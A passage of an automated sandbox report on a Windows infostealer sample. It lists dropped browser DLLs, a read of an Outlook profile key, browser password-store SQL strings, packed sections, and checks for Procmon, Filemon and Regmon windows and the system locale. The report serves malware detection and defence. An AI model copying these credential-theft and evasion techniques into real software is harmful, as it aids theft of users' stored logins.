Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005ACC1E	0_2_005ACC1E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B1C36	0_2_005B1C36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005454B5	0_2_005454B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0062FD1D	0_2_0062FD1D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AE6D3	0_2_005AE6D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004D06C1	0_2_004D06C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004ECE84	0_2_004ECE84
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B868E	0_2_005B868E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B36B4	0_2_005B36B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0055C738	0_2_0055C738
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6135A0	0_2_6C6135A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C625440	0_2_6C625440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68545C	0_2_6C68545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68542B	0_2_6C68542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68AC00	0_2_6C68AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C655C10	0_2_6C655C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C662C10	0_2_6C662C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61D4E0	0_2_6C61D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C656CF0	0_2_6C656CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6264C0	0_2_6C6264C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63D4D0	0_2_6C63D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6734A0	0_2_6C6734A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C4A0	0_2_6C67C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C626C80	0_2_6C626C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62FD00	0_2_6C62FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63ED10	0_2_6C63ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C640512	0_2_6C640512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6785F0	0_2_6C6785F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C650DD0	0_2_6C650DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686E63	0_2_6C686E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61C670	0_2_6C61C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C634640	0_2_6C634640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C662E4E	0_2_6C662E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C639E50	0_2_6C639E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C653E50	0_2_6C653E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679E30	0_2_6C679E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665600	0_2_6C665600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C657E10	0_2_6C657E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6876E3	0_2_6C6876E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61BEF0	0_2_6C61BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62FEF0	0_2_6C62FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674EA0	0_2_6C674EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67E680	0_2_6C67E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C635E90	0_2_6C635E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C629F00	0_2_6C629F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C657710	0_2_6C657710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61DFE0	0_2_6C61DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646FF0	0_2_6C646FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6677A0	0_2_6C6677A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F070	0_2_6C65F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C638850	0_2_6C638850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63D850	0_2_6C63D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65B820	0_2_6C65B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C664820	0_2_6C664820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C627810	0_2_6C627810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63C0E0	0_2_6C63C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6558E0	0_2_6C6558E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6850C7	0_2_6C6850C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6460A0	0_2_6C6460A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62D960	0_2_6C62D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66B970	0_2_6C66B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B170	0_2_6C68B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63A940	0_2_6C63A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61C9A0	0_2_6C61C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64D9B0	0_2_6C64D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C655190	0_2_6C655190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C672990	0_2_6C672990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C659A60	0_2_6C659A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C631AF0	0_2_6C631AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65E2F0	0_2_6C65E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C658AC0	0_2_6C658AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6122A0	0_2_6C6122A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C644AA0	0_2_6C644AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62CAB0	0_2_6C62CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C682AB0	0_2_6C682AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68BA90	0_2_6C68BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62C370	0_2_6C62C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C615340	0_2_6C615340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D320	0_2_6C65D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6853C8	0_2_6C6853C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61F380	0_2_6C61F380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C64CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 001E45C0 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6594D0 appears 90 times

Source: file.exe, 00000000.00000002.2338113718.000000006C895000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: jrjitvme ZLIB complexity 0.9946449613499246

Source: file.exe, 00000000.00000003.2082968668.0000000005160000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C677030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C677030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001F9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_001F9600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001F3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_001F3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\5BHT0HEP.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2326877269.000000001D9F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2337468261.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2337997335.000000006C84F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2326877269.000000001D9F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2337468261.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2337997335.000000006C84F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2326877269.000000001D9F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2337468261.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2337997335.000000006C84F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2326877269.000000001D9F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2337468261.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2337997335.000000006C84F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2326877269.000000001D9F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2337468261.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2337997335.000000006C84F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2326877269.000000001D9F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2337468261.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2326877269.000000001D9F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2337468261.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2337997335.000000006C84F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2177740555.000000001D8D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156596944.000000001D8B8000.00000004.00000020.00020000.00000000.sdmp, CBKJKJDBFIIDHJKEHJEH.0.dr, GCGHCBKFCFBFHIDHDBFC.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2326877269.000000001D9F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2337468261.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2326877269.000000001D9F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2337468261.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 47%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1853952 > 1048576

Source: file.exe

Static PE information: Raw size of jrjitvme is bigger than: 0x100000 < 0x19e600

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2337997335.000000006C84F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2337997335.000000006C84F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.1e0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;jrjitvme:EW;bkhzzjyi:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;jrjitvme:EW;bkhzzjyi:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001F9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_001F9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1d3ec2 should be: 0x1d0ce0

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: jrjitvme
Source: file.exe	Static PE information: section name: bkhzzjyi
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005CC848 push ebp; mov dword ptr [esp], eax	0_2_005CEB45
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059F079 push ecx; mov dword ptr [esp], eax	0_2_0059F08E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0059F079 push 74A8A880h; mov dword ptr [esp], esi	0_2_0059F138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0058107A push 75EB31E2h; mov dword ptr [esp], edx	0_2_00581102
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0058107A push 29DD9F19h; mov dword ptr [esp], edx	0_2_00581178
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0058107A push ebx; mov dword ptr [esp], 1B7EB2D4h	0_2_0058119E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0058107A push 4EF971EDh; mov dword ptr [esp], esi	0_2_005811B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001FB035 push ecx; ret	0_2_001FB048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0066804C push 5FD58EBAh; mov dword ptr [esp], edi	0_2_006680B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005D7863 push 24D401B3h; mov dword ptr [esp], ebx	0_2_005D789C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005D7863 push 4AB90E77h; mov dword ptr [esp], ecx	0_2_005D78C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005D7863 push ecx; mov dword ptr [esp], edi	0_2_005D78DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AB01B push ebx; mov dword ptr [esp], edi	0_2_005AB0CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AB01B push ecx; mov dword ptr [esp], ebp	0_2_005AB10A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AB01B push edx; mov dword ptr [esp], eax	0_2_005AB162
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AB01B push ebp; mov dword ptr [esp], ecx	0_2_005AB16B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AB01B push 112C3A00h; mov dword ptr [esp], esi	0_2_005AB1A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AB01B push eax; mov dword ptr [esp], 6EF94AB9h	0_2_005AB20C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AB01B push 0B34F98Ah; mov dword ptr [esp], ebp	0_2_005AB2A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AB01B push eax; mov dword ptr [esp], edi	0_2_005AB32D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AB01B push 7A0826C1h; mov dword ptr [esp], eax	0_2_005AB44D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AB01B push ebp; mov dword ptr [esp], 5FE800A1h	0_2_005AB451
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AB01B push edx; mov dword ptr [esp], esp	0_2_005AB4A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AB01B push ecx; mov dword ptr [esp], 0D2E65F9h	0_2_005AB58A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AB01B push ebp; mov dword ptr [esp], edx	0_2_005AB653
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AB01B push ebp; mov dword ptr [esp], edx	0_2_005AB671
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AB01B push 0F99693Dh; mov dword ptr [esp], edi	0_2_005AB694
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AB01B push 0D24DAA4h; mov dword ptr [esp], ecx	0_2_005AB69C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AB01B push 6D25F3F7h; mov dword ptr [esp], edi	0_2_005AB6ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AB01B push 563BA886h; mov dword ptr [esp], edx	0_2_005AB70C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AB01B push esi; mov dword ptr [esp], 7CC9B780h	0_2_005AB710

Source: file.exe

Static PE information: section name: jrjitvme entropy: 7.9533266531872435

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_001F9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-58561

